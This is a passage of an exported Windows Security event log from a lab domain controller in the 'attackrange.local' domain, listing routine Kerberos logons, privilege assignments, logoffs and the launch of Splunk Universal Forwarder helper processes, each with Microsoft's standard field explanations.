have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:52:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256871 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4719F2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:52:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256870 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x471970 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 59133 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:52:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256869 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x471970 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:52:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256868 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x471926 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:52:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256867 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x471926 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:52:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256866 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x471816 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59132 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:52:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256865 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x471816 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:52:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256864 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4717E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59131 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:52:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256863 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4717E7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:52:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256862 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x484 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:52:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256876 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:52:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256878 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe80 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:52:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256877 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x368 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:52:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256879 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4719F2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:52:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256882 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x473B6B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:52:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256881 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x473B6B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59145 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:52:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256880 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x473B6B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:53:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256885 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x587DD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:53:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256884 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb24 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:53:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256883 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5AC6B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:53:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256886 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x6cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:53:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256887 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x880 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:53:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256888 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x450 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:53:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256889 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9dc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:53:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256891 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa98 - New Process Name: 